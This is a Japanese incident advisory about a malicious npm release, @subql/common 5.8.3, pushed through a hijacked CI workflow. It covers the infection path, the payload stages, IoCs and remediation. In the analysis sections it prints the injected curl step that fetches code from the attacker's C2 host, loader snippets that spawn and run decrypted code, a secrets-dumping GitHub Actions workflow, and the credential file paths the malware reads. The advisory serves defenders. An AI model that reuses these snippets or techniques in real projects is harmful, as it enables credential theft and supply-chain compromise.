2026年10月5日、npm パッケージ @subql/common に悪性コードが注入されました。@subql/common は、SubQuery の GitHub リポジトリ subquery/subql で開発されているパッケージです。
注入された悪性コードは、Infostealer と C2 クライアントの機能を併せ持つマルウェアです。postinstall フック経由で実行され、AWS・GitHub・Kubernetes・Vault などの認証情報を盗み出して C2 へ送出するほか、リバースシェルによる遠隔操作も可能です。
また、攻撃者は GitHub リポジトリの CI/CD ワークフローを改ざんし、GitHub Actions OIDC(Trusted Publisher)経由で悪性バージョンを公開しているため、正規のリリースと区別が困難です。
本記事は、弊社が Takumi Guard の解析基盤をベースに観測&分析した情報を踏まえ、日本のコミュニティに向けて、影響と対策を中心に整理するものです。

- TL;DR — 対応指針
- はじめに
- タイムライン(UTC)
- 感染経路 — GitHub リポジトリ侵害から npm publish まで
- 侵害の仕組み
- 対応指針
- 推奨:自衛手段の整備
- IoCs
- 影響を受けたパッケージ
TL;DR — 対応指針
@subql/common@5.8.3を npm install した場合、マルウェア感染の可能性があります。同一攻撃者により@subql/common@5.8.3-onf-rt1も公開されていますが、postinstallを含まないことから、攻撃前の試験公開版と推定されます。安全なバージョンは5.8.2です(postinstallが存在しないことをnpm view @subql/common@5.8.2 scriptsで確認できます)。- 即時対応:
- インストール環境の AWS IAM クレデンシャル(
AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY/AWS_SESSION_TOKEN)を 直ちにローテーション してください。全リージョンの AWS SSM Parameter Store および Secrets Manager が列挙・読み出しされています。 - GitHub トークン(
gh auth tokenで取得可能なもの、GitHub Actions のGITHUB_TOKEN、ghp_/gho_形式のPAT)を失効・再発行してください。 - インストール環境のファイルシステム上の SSH 秘密鍵 /
.env/.npmrc/ Docker config / Kubernetes config / Vault トークン 等の機密ファイルが読み出し対象であるため、影響範囲を棚卸しし、全て再発行してください。
- インストール環境の AWS IAM クレデンシャル(
- 永続化の停止: 本マルウェアはデーモン化(detached child process)により、インストール後もバックグラウンドで動作し続けます。
manifest-cache.js --warmを実行中のプロセスが残っていないか確認し、存在すれば終了してください。/tmp/tmp.ts018051808.lockの存在も感染の痕跡になります。また、リバースシェルによる遠隔操作が行われた可能性も考慮してください。
はじめに
本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。
ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。
タイムライン(UTC)
| 日時 (UTC) | 事象 |
|---|---|
| 2026-10-05 11:24 | @subql/common@5.8.3-onf-rt1 が npm に公開(postinstall なし — 攻撃前の試験公開と見られる) |
| 2026-10-05 11:52 | 悪性コミット 506863d が subquery/subql リポジトリに push(GPG 署名なし) |
| 2026-10-05 11:56 | @subql/common@5.8.3 が npm に公開。GitHub Actions OIDC によるTrusted Publisher |
| 2026-10-05 12:46 頃 | npm から @subql/common@5.8.3 が削除されたとみられる(レジストリの modified タイムスタンプに基づく推定) |
感染経路 — GitHub リポジトリ侵害から npm publish まで
概要
本攻撃は CI/CD パイプライン操作型のサプライチェーン攻撃 です。攻撃者は subquery/subql GitHub リポジトリの push 権限を取得し、CI/CD ワークフロー(.github/workflows/publish.yml)を改ざんすることで、正規の npm パブリッシュフローに悪性ペイロードを注入しました。npm 上では GitHub Actions OIDC(Trusted Publisher)経由で公開されるため、正規の公開者からの公開に見えます。
攻撃の流れ
Step 1: GitHub リポジトリへの不正コミット(2026-10-05 11:52 UTC)
攻撃者は Ian He <ian@onfinality.io> の名前でコミット 506863d6fb82bd2714970cf8c6f1bf364374b009 を push しました。このコミットは GPG 署名されていません(verified=False)。Ian He の過去の正規コミットは全て GPG 署名済みです。また直近の正規コミットから約6ヶ月のギャップがあります(最後の正規コミット: 2026-04-01)。
このコミットは2ファイルのみを変更しています。
.github/workflows/publish.yml— CI ワークフローの改ざん
+ - name: Sync common artifacts from release mirror + if: needs.setup.outputs.changed-common == 'true' + run: | + curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \ + && rm -rf packages/common \ + && mkdir -p packages/common \ + && tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1
このステップは「Publish Common」ステップの直前に挿入され、ビルド済みの正規パッケージを C2 サーバからダウンロードした悪性パッケージに 丸ごと差し替えます。さらに、リリース条件に workflow_dispatch を追加し、手動トリガーでもワークフローを実行可能にしています。
packages/common/package.json— バージョンを5.8.2→5.8.3にバンプしています。
Step 2: npm publish の実行(2026-10-05 11:56 UTC) コミット push により GitHub Actions の publish ワークフローが起動します。ワークフローは以下を実行します。
packages/commonの変更を検出- 改ざんされたステップで C2 から悪性 tarball をダウンロード
- 正規の
packages/commonディレクトリを悪性パッケージで差し替え create-releaseアクションで npm に@subql/common@5.8.3を公開。npm 上ではパブリッシャーが"GitHub Actions" <npm-oidc-no-reply@github.com>の Trusted Publisher として記録されるため、正規のリリースと区別が困難です。
侵害の仕組み
Stage 1 — postinstall フック(侵入口)
正規の @subql/common パッケージの package.json に postinstall スクリプトが追加されています。v5.8.2 にはこのスクリプトは存在しません。
"postinstall": "node ./dist/project/readers/manifest-cache.js"
npm install するだけで、require() 不要で攻撃コードが自動実行されます。
Stage 2 — manifest-cache.js(暗号化ローダ)
manifest-cache.js は 548 行で、正規クラス ManifestCacheReader を装いつつ、約460 行分の base64 エンコード配列 MANIFEST_CACHE_SEED を内包しています。
直接実行時(require.main === module)には、ManifestCacheReader.warm() を呼び出します。この warm() は --warm 引数で自身を detached 子プロセスとして再起動します。
static warm(root) {
child_process_1.spawn(process.execPath, [__filename, '--warm'], {
detached: true,
stdio: 'ignore',
env: { ...process.env, SUBQL_MANIFEST_ROOT: path_1.default.resolve(root) },
}).unref();
}
--warm モードでは decodeManifestSeed() で base64 → XOR 復号(ローリング鍵、初期値 0x5a)→ gunzip を行い、new Function() で復号結果を直接実行します。
const src = decodeManifestSeed();
const run = new Function('require', 'module', 'exports', '__filename', '__dirname', src);
const mod = { exports: {} };
run(require, mod, mod.exports, __filename, __dirname);
さらに、require.main !== module のケース(他モジュールから import された場合)でも warm() が呼ばれるため、ランタイムで require('@subql/common') しただけでもペイロードが起動します。
if (require.main !== module) {
try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}
Stage 3 — 多機能クレデンシャルスティーラ + C2 エージェント
復号されたペイロードは、以下の機能を持つ高度なマルウェアです。
3a. 文字列難読化(beautify 関数)
全ての機微な文字列は beautify() 関数で暗号化されています。PBKDF2 で導出したマスター鍵とランダム nonce から SHA-256 ベースの S-box 置換を構築し、各バイトを復号する独自暗号が使われています。
3b. ロシア語圏の除外
実行時にロケール(Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG)がロシア語(ru)であれば即座に process.exit(0) します。
qt() && (h.log("Exiting as russian language detected!"), process.exit(0))
3c. デーモン化 + ロックファイル
CI 環境でなければ detached: true で自身を再起動し、バックグラウンド化します。tmp.ts018051808.lock のロックファイルで多重起動を防止しています。TLS 検証も無効化しています。
3d. 収集モジュール群
以下の収集モジュールが順次実行され、窃取データを C2 に送信します。
| 対象 | 収集内容 |
|---|---|
| ローカルファイル | 認証情報ファイル等の読み出し(3eリスト) |
| 環境変数・GitHub CLI | process.env 全体、gh auth token で取得できる GitHub トークン |
| GitHub Actions Runner | Runner プロセスのメモリから secrets を抽出(sudo python3 でメモリダンプ) |
| AWS SSM Parameter Store | 全17リージョンのパラメータを列挙・取得 |
| AWS Secrets Manager | 全17リージョンのシークレットを列挙・取得 |
| AWS STS | GetCallerIdentity で IAM アイデンティティを確認 |
| Kubernetes | API 経由で全 namespace の Secret を列挙・取得 |
| HashiCorp Vault | KV mount を列挙し、シークレットを取得 |
| GitHub Actions secrets | repository/org secrets 名の列挙、ワークフロー注入(CodeQL 偽装) |
3e. ファイルシステムスキャン対象(抜粋)
読み出しが試みられるパスには以下が含まれます。
~/.aws/credentials,~/.aws/config~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/config~/.npmrc,.npmrc~/.docker/config.json~/.kube/config~/.gitconfig,.git-credentials,.git/config.env,**/.env,**/.env.local,**/.env.production~/.claude.json,~/.claude/mcp.json,.kiro/settings/mcp.json~/.config/gcloud/credentials.db,~/.config/gcloud/access_tokens.db~/.azure/accessTokens.json,~/.azure/msal_token_cache.*~/.bitcoin/wallet.dat,~/.ethereum/keystore/*,~/.electrum/wallets/*,~/.monero/*~/.bash_history,~/.zsh_history~/.config/Slack/Cookies,~/.config/Signal/*,~/.config/telegram-desktop/*/etc/ssh/ssh_host_*_key**/wp-config.php,**/config/database.yml
3f. C2サーバーとの通信
C2 インフラ:
- ドメイン:
ci-artifacts.dev - IP:
185.146.234.137
C2への奪取されたデータの送信、並びにC2からのリバースシェル起動等のコマンドを受け付けるポーリングが行われていることが確認されています。
3g. 暗号化された攻撃ツールキット(AES-256-GCM 内包スクリプト群)
Stage 3 内部に 10 個のスクリプトが AES-256-GCM で暗号化・gzip 圧縮されて格納されています。 ただし、本検体のコードから実際に参照されているのは 3 つのみです。残り 7 つは宣言されているだけで、ファイルシステムへの書き込みや実行を行う処理は存在しません。
| スクリプト | 機能 | 本検体での使用 |
|---|---|---|
| secrets 窃取ワークフロー(GitHub Actions) | "Run Copilot" に偽装し、${{ toJSON(secrets) }} で全 secrets をダンプして artifact としてアップロード |
あり(3h 参照) |
| Runner メモリダンプ(Python) | Runner.Worker プロセスの /proc/PID/mem を走査し、"isSecret":true の値を抽出 |
あり(3d 参照) |
| RSA-4096 公開鍵 | 窃取データの暗号化用(RSA-OAEP) | あり |
| GitHub トークン監視デーモン(Bash) | systemd user unit / LaunchAgent で永続化し、トークン失効を検知するとハンドラを実行 | なし |
| Claude Code hooks 設定 | SessionStart で node .vscode/setup.mjs を実行 |
なし |
| VS Code tasks.json | runOn: "folderOpen" で node .claude/setup.mjs を実行 |
なし |
| 後続ペイロードのランチャー(Bash / Python / Node.js 版) | Bun v1.3.13 をインストールし、ai_init.js や router_runtime.js を実行 |
なし |
| RSA-4096 公開鍵(予備) | 予備の公開鍵 | なし |
未使用のスクリプトは、C2 経由の任意コマンド実行(3f)で攻撃者が手動で展開する用途や、今後の亜種での利用が考えられます。
3h. GitHub Actions ワークフロー注入の実装
トークンに workflow スコープがある場合、リポジトリの Actions secrets を列挙し、以下の "Run Copilot" 偽装ワークフローを注入します。全リポジトリ secrets を toJSON(secrets) でダンプし、artifact としてアップロードさせるものです。
name: Run Copilot env: VARIABLE_STORE: ${{ toJSON(secrets) }} steps: - run: echo "$VARIABLE_STORE" > format-results.txt - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f with: name: format-results path: format-results.txt
コミットメッセージは "Add CodeQL Analysis" に偽装され、コミッターは偽名・偽メールを使用しています。ワークフロー完了後、artifact から secrets を回収します。
3i. AWS 署名 v4 による正規 API 呼び出し
AWS 認証情報は環境変数(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)、~/.aws/credentials、AWS_WEB_IDENTITY_TOKEN_FILE(IRSA)、IMDS(169.254.169.254)等の多数のソースから解決し、AWS Signature V4 で正規の AWS API 呼び出しを行います。トレースではサンドボックスの IMDS 経由で取得した一時クレデンシャルにより、全リージョンへの SSM/Secrets Manager 列挙が実行されていました。
対応指針
1. 影響確認
# lockfile に悪性バージョンが含まれるか grep -r "@subql/common" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null | grep "5.8.3" # C2 ドメインへの通信履歴 grep -r "ci-artifacts\.dev" /var/log 2>/dev/null # ロックファイルの存在(感染の痕跡) ls -la /tmp/tmp.ts018051808.lock 2>/dev/null # DNS ログでの確認 grep "ci-artifacts.dev" /var/log/syslog /var/log/messages 2>/dev/null
2. 除去
# 悪性バージョンの除去と安全なバージョンへのダウングレード npm install @subql/common@5.8.2 # または完全除去 npm uninstall @subql/common
バックグラウンドプロセスが残存している可能性があるため、manifest-cache.js --warm を実行中のプロセスを確認・終了してください。
ps aux | grep "manifest-cache.js" # 該当プロセスを kill
3. クレデンシャルのローテーション
感染環境で有効だった以下を 全て失効・再発行 してください。
| 対象 | 理由 |
|---|---|
| AWS IAM クレデンシャル(全リージョン) | SSM / Secrets Manager の全リージョン列挙が実行された |
| GitHub PAT / OAuth トークン | gh auth token 実行 + API 呼び出し確認 |
| GitHub Actions secrets | ワークフロー注入によるシークレット窃取の可能性 |
| SSH 秘密鍵 | ~/.ssh/id* が読み出し対象 |
.npmrc 内の npm トークン |
読み出し対象 |
.env 内の秘密情報 |
読み出し対象 |
| Docker registry 認証 | ~/.docker/config.json が読み出し対象 |
| Kubernetes secrets | in-cluster であれば API 経由で列挙・取得 |
| Vault secrets | Vault トークンがあれば全 mount 列挙・取得 |
process.env 全体 |
環境変数が丸ごと送信される |
推奨:自衛手段の整備
3月の axios 侵害、4〜5月の Mini Shai-Hulud、7月の AsyncAPI 侵害、8月の keyv 侵害、そして今回の @subql/common 侵害と、npm エコシステムへのサプライチェーン攻撃が連続して発生しています。
以下の多層防御を整備してください。
Lifecycle script の無効化
CI/CD では以下を標準ポリシーにしてください。今回の @subql/common@5.8.3 は、これだけで npm install 時の発火を止められます。
npm ci --ignore-scripts
補足(npm v12):npm v12 では lifecycle script がデフォルトで無視されるようになりました。v12 以降の環境であれば --ignore-scripts の明示は不要ですが、CI/CD の npm バージョンが混在している場合は引き続き明示指定を推奨します。
ただし今回の検体は、postinstall だけでなく require('@subql/common') された際にもペイロードを起動します。lifecycle script の無効化だけでは防げません。 後述の検疫期間やレジストリ側ブロックで補完してください。
Dependency Cooldown の設定(min-release-age)
npm v11 以降では .npmrc に min-release-age を設定することで、公開から一定期間が経過していないバージョンのインストールを抑止できます。7 日推奨、急ぐ場合でも 3 日は確保してください。
# .npmrc min-release-age=7
Provenance attestation の検証
今回の侵害では、攻撃者が subquery/subql リポジトリの CI/CD ワークフローを改ざんし、正規の GitHub Actions OIDC(Trusted Publisher)経由で publish しています。
5.8.3 は既にレジストリから削除されており確認できませんが、同じフローで公開された 5.8.3-onf-rt1 には SLSA provenance が付与されています。一方、正規の 5.8.2 には provenance が付いていません。
@subql/common@5.8.2 publisher: npm-oidc-no-reply@github.com provenance: なし @subql/common@5.8.3-onf-rt1 publisher: npm-oidc-no-reply@github.com provenance: あり(SLSA v1)
このように、攻撃者がパイプライン自体を侵害したケースでは、provenance の有無だけでは悪性版を見分けられません。
provenance は依然として有効な防御レイヤーですが(直接トークンで publish するケースには有効)、CI/CD パイプラインの侵害に対しては十分ではありません。min-release-age や Takumi Guard 等の多層防御と組み合わせてください。
悪意のある依存をブロック(Takumi Guard)
弊社(GMO Flatt Security)は セキュアなレジストリプロキシ Takumi Guard の npm エンドポイント を提供しています。
Takumi Guard は npm(レジストリ)との間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。 弊社で全ての新規パッケージを検査し、ブロックリストを構築しています。 PyPI / RubyGems / Packagist / Go Modules にも対応済です。導入は registry URL の変更のみで完了し、無料で利用可能です。
# npm npm config set registry https://npm.flatt.tech/ # yarn v1 yarn config set registry https://npm.flatt.tech # yarn v2+ yarn config set npmRegistryServer https://npm.flatt.tech # pnpm pnpm config set registry https://npm.flatt.tech/
仮にある時点でパッケージがマルウェアと判定できずブロックできなかった場合も、後日の通知を行う仕組みもあります(本機能も無料です)。 通知のためにはメールアドレス登録が必要となりますので、下記ページよりご登録ください。
複数端末の一括セットアップや管理者への通知など、法人向け管理機能(有償)も提供しています。 ご興味のある方はお問い合わせください。
IoCs
ハッシュ(SHA-256)
| ファイル | ハッシュ |
|---|---|
common-5.8.3.tgz(npm 公開パッケージ) |
031267ee37c5a84c25cb0542cbfeb49f30d5604305b0bdccdeafbedcbbe6849b |
ネットワーク
| 種別 | 値 | 備考 |
|---|---|---|
| ドメイン | ci-artifacts.dev |
C2 サーバ + 悪性パッケージホスティング |
| IP | 185.146.234.137 |
ci-artifacts.dev の解決先 |
Git
| 種別 | 値 | 備考 |
|---|---|---|
| 悪性コミット | 506863d6fb82bd2714970cf8c6f1bf364374b009 |
subquery/subql リポジトリ、GPG 未署名、publish.yml 改ざん |
影響を受けたパッケージ
| パッケージ | 悪性バージョン | 安全なバージョン | 備考 |
|---|---|---|---|
@subql/common |
5.8.3 |
5.8.2(postinstall なし) |
postinstall + 暗号化ペイロード埋め込み |
@subql/common |
5.8.3-onf-rt1 |
— | 攻撃前の試験公開と推定。postinstall が追加されていないが同一攻撃者による公開 |